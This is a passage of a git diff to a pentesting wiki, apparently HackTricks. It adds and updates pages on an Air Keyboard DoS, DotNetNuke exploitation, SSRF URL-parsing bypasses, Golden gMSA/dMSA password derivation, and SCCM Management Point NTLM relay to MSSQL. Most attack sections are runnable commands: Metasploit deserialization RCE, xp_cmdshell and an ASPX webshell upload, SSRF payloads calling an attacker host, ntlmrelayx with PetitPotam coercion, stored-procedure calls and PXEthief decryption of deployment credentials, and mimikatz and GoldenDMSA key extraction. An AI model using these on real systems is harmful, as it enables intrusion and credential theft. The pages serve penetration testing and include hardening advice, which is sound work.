A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched. + +```python +import socket +socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS +``` + +## 5. Root Cause + +1. **No origin / integrity checks** on incoming frames (iOS). +2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android). + +## 6. Mitigations & Hardening Ideas + +* Never expose unauthenticated services on a mobile handset. +* Derive per-device secrets during onboarding and verify them before processing input. +* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control. +* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.). +* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks. + +## Detection Cheat-Sheet (Pentesters) + +```bash +# Quick one-liner to locate vulnerable devices in a /24 +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' + +# Inspect running sockets on a connected Android target +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +``` + +## References + +- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) +- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index f4d9e33c8..f8600876a 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,44 +4,97 @@ ## DotNetNuke (DNN) -If you enter as **administrator** in DNN it's easy to obtain RCE. +If you enter as **administrator** in DNN it's easy to obtain **RCE**, however a number of *unauthenticated* and *post-auth* techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work. -## RCE +--- +## Version & Environment Enumeration -### Via SQL +* Check the *X-DNN* HTTP response header – it usually discloses the exact platform version. +* The installation wizard leaks the version in `/Install/Install.aspx?mode=install` (accessible on very old installs). +* `/API/PersonaBar/GetStatus` (9.x) returns a JSON blob containing `"dnnVersion"` for low-privilege users. +* Typical cookies you will see on a live instance: + * `.DOTNETNUKE` – ASP.NET forms authentication ticket. + * `DNNPersonalization` – contains XML/serialized user profile data (old versions – see RCE below). -A SQL console is accessible under the **`Settings`** page where you can enable **`xp_cmdshell`** and **run operating system commands**. +--- +## Unauthenticated Exploitation -Use these lines to enable **`xp_cmdshell`**: +### 1. Cookie Deserialization RCE (CVE-2017-9822 & follow-ups) +*Affected versions ≤ 9.3.0-RC* + +`DNNPersonalization` is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution. + +``` +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run +``` +The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811/15812/18325/18326). Exploitation works **without authentication** on 7.x–9.1.x and with a *verified* low-privilege account on 9.2.x+. + +### 2. Server-Side Request Forgery (CVE-2025-32372) +*Affected versions < 9.13.8 – Patch released April 2025* + +A bypass of the older `DnnImageHandler` fix enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF). Practical impacts: + +* Internal port scan / metadata service discovery in cloud deployments. +* Reach hosts otherwise firewalled from the Internet. + +Proof-of-concept (replace `TARGET` & `ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +The request is triggered in the background; monitor your listener for callbacks. + +### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488) +*Affected versions 6.0.0 – 9.x (< 10.0.1)* + +Specially crafted content can make DNN attempt to fetch a resource using a **UNC path** such as `\\attacker\share\img.png`. Windows will happily perform NTLM negotiation, leaking the server-account hashes to the attacker. Upgrade to **10.0.1** or disable outbound SMB at the firewall. + +### 4. IP Filter Bypass (CVE-2025-52487) +If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed by manipulating `X-Forwarded-For` in a reverse-proxy scenario. + +--- +## Post-Authentication to RCE + +### Via SQL console +Under **`Settings → SQL`** a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable **`xp_cmdshell`** and spawn commands: ```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; ``` -And press **"Run Script"** to run that sQL sentences. +### Via ASPX webshell upload +1. Go to **`Settings → Security → More → More Security Settings`**. +2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**. +3. Browse to **`/admin/file-management`** and upload `shell.aspx`. +4. Trigger it at **`/Portals/0/shell.aspx`**. -Then, use something like the following to run OS commands: +--- +## Privilege Escalation on Windows +Once code execution is achieved as **IIS AppPool\**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage: -```sql -xp_cmdshell 'whoami' -``` +* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*. +* **Juicy/Sharp Potatoes** to escape *Service Accounts*. -### Via ASP webshell +--- +## Hardening Recommendations (Blue Team) -In `Settings -> Security -> More -> More Security Settings` you can **add new allowed extensions** under `Allowable File Extensions`, and then clicking the `Save` button. +* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues). +* Remove residual **`InstallWizard.aspx*`** files after installation. +* Disable outbound SMB (ports 445/139) egress. +* Enforce strong *Host Filters* on the edge proxy rather than within DNN. +* Block access to `/API/RemoteContentProxy` if unused. -Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example. -Then access to **`/Portals/0/shell.asp`** to access your webshell. -### Privilege Escalation - -You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example. +## References +* Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub). +* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information. {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index d2f1657b4..d200804c8 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -217,10 +217,46 @@ The “left square bracket” character `[` in the userinfo segment can cause Sp image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) +### IPv6 Zone Identifier (%25) Trick + +Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface: + +```text +http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0 +http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style) +``` + +If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely. + +### Recent Library Parsing CVEs (2022–2025) + +A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above: + +| Year | CVE | Component | Bug synopsis | Minimal PoC | +|------|-----|-----------|--------------|-------------| +| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` is not allowed in the *userinfo* section, so `https://example.com\[@internal` is parsed as host `example.com` by Spring but as `internal` by browsers, enabling open-redirect & SSRF when host allow-lists are used. Upgrade to Spring 5.3.34 / 6.0.19 / 6.1.6+. | +| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. | +| 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). | + +When you depend on third-party URL parsers, **compare the canonicalised host returned by the library you trust with the raw string supplied by the user** to detect these classes of issues. + +### Payload-generation helpers (2024+) + +Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants: + +```bash +# Generate every known bypass that transforms the allowed host example.com to attacker.com +python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt +``` + +The resulting list can be fed directly into Burp Intruder or `ffuf`. + ## References - [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) - [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) +- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243) +- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index ad86b9779..3b8bdd36f 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -311,6 +311,13 @@ A strategy that many authors have come up with is to force a SYSTEM service to a [SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command. + +### SCCM Management Point NTLM Relay (OSD Secret Extraction) +See how the default SQL roles of SCCM **Management Points** can be abused to dump Network Access Account and Task-Sequence secrets directly from the site database: +{{#ref}} +sccm-management-point-relay-sql-policy-secrets.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index f9144b2c9..126b87e91 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -23,7 +23,6 @@ No Kerberos traffic or domain interaction is required during normal password usa If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing: -* Kerberos pre-authentication / ticket request logs * LDAP read auditing * Password change intervals (they can pre-compute) @@ -31,11 +30,12 @@ This is analogous to a *Golden Ticket* for service accounts. ### Prerequisites -1. **Forest-level compromise** of **one DC** (or Enterprise Admin). `SYSTEM` access is enough. +1. **Forest-level compromise** of **one DC** (or Enterprise Admin), or `SYSTEM` access to one of the DCs in the forest. 2. Ability to enumerate service accounts (LDAP read / RID brute-force). 3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code. -### Phase 1 – Extract the KDS Root Key +### Golden gMSA / dMSA +##### Phase 1 – Extract the KDS Root Key Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets): @@ -46,10 +46,17 @@ reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too + +# With GoldendMSA +GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest +GoldendMSA.exe kds + +# With GoldenGMSA +GoldenGMSA.exe kdsinfo ``` The base64 string labelled `RootKey` (GUID name) is required in later steps. -### Phase 2 – Enumerate gMSA/dMSA objects +##### Phase 2 – Enumerate gMSA / dMSA objects Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`: @@ -57,6 +64,8 @@ Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`: # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId + +GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes: @@ -69,10 +78,10 @@ GoldendMSA.exe info -d example.local -m ldap GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` -### Phase 3 – Guess / Discover the ManagedPasswordID (when missing) +##### Phase 3 – Guess / Discover the ManagedPasswordID (when missing) Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads. -Because the GUID is 128-bit, naïve bruteforce is infeasible, but: +Because the GUID is 128-bit, naive bruteforce is infeasible, but: 1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution). 2. Followed by 96 random bits. @@ -84,16 +93,14 @@ GoldendMSA.exe wordlist -s -d example.local -f example.local -k -k -d example.local -m - -# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket -GoldendMSA.exe convert -d example.local -u svc_web$ -p +GoldendMSA.exe compute -s -k -d example.local -m -i +GoldenGMSA.exe compute --sid --kdskey --pwdid ``` The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**. @@ -108,13 +115,15 @@ The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Ru ## Tooling * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – reference implementation used in this page. +* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – reference implementation used in this page. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket using derived AES keys. ## References - [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) +- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/) - [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA) - [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md new file mode 100644 index 000000000..77483448d --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -0,0 +1,160 @@ +# SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR +By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights. These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets. + +High-level chain: +1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. +2. Start `ntlmrelayx.py -t mssql:// -ts -socks`. +3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc. +4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **\\$** account. +5. Execute: + * `use CM_` + * `exec MP_GetMachinePolicyAssignments N'',N''` + * `exec MP_GetPolicyBody N'',N''` (or `MP_GetPolicyBodyAfterAuthorization`) +6. Strip `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 `. + +Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients. + +--- + +## 1. Enumerating unauthenticated MP endpoints +The MP ISAPI extension **GetAuth.dll** exposes several parameters that don’t require authentication (unless the site is PKI-only): + +| Parameter | Purpose | +|-----------|---------| +| `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. | +| `MPLIST` | Lists every Management-Point in the site. | +| `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). | + +Grab the GUIDs that will act as the **clientID** for later DB queries: +```bash +curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - +``` + +--- + +## 2. Relay the MP machine account to MSSQL +```bash +# 1. Start the relay listener (SMB→TDS) +ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support + +# 2. Trigger authentication from the MP (PetitPotam example) +python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ + -u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10 +``` +When the coercion fires you should see something like: +``` +[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED +[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433) +``` + +--- + +## 3. Identify OSD policies via stored procedures +Connect through the SOCKS proxy (port 1080 by default): +```bash +proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth +``` +Switch to the **CM_** DB (use the 3-digit site code, e.g. `CM_001`). + +### 3.1 Find Unknown-Computer GUIDs (optional) +```sql +USE CM_001; +SELECT SMS_Unique_Identifier0 +FROM dbo.UnknownSystem_DISC +WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86 +``` + +### 3.2 List assigned policies +```sql +EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''; +``` +Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`. + +Focus on policies: +* **NAAConfig** – Network Access Account creds +* **TS_Sequence** – Task Sequence variables (OSDJoinAccount/Password) +* **CollectionSettings** – Can contain run-as accounts + +### 3.3 Retrieve full body +If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using: +```sql +EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; +``` +> IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated. + +--- + +## 4. Decode & decrypt the blob +```bash +# Remove the UTF-16 BOM, convert from hex → XML +echo 'fffe3c003f0078…' | xxd -r -p > policy.xml + +# Decrypt with PXEthief (7 = decrypt attribute value) +python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) +``` +Recovered secrets example: +``` +OSDJoinAccount : CONTOSO\\joiner +OSDJoinPassword: SuperSecret2025! +NetworkAccessUsername: CONTOSO\\SCCM_NAA +NetworkAccessPassword: P4ssw0rd123 +``` + +--- + +## 5. Relevant SQL roles & procedures +Upon relay the login is mapped to: +* `smsdbrole_MP` +* `smsdbrole_MPUserSvc` + +These roles expose dozens of EXEC permissions, the key ones used in this attack are: + +| Stored Procedure | Purpose | +|------------------|---------| +| `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. | +| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. | +| `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. | + +You can inspect the full list with: +```sql +SELECT pr.name +FROM sys.database_principals AS dp +JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id +JOIN sys.objects AS pr ON pr.object_id = pe.major_id +WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc') + AND pe.permission_name='EXECUTE'; +``` + +--- + +## 6. Detection & Hardening +1. **Monitor MP logins** – any MP computer account logging in from an IP that isn’t its host ≈ relay. +2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`). +3. Disable unused NTLM, enforce SMB signing, restrict RPC ( + same mitigations used against `PetitPotam`/`PrinterBug`). +4. Harden MP ↔ DB communication with IPSec / mutual-TLS. + +--- + +## See also +* NTLM relay fundamentals: + {{#ref}} + ../ntlm/README.md + {{#endref}} + +* MSSQL abuse & post-exploitation: + {{#ref}} + abusing-ad-mssql.md + {{#endref}} + + + +## References +- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/) +- [PXEthief](https://github.com/MWR-CyberSec/PXEThief) +- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) +{{#include ../../banners/hacktricks-training.md}}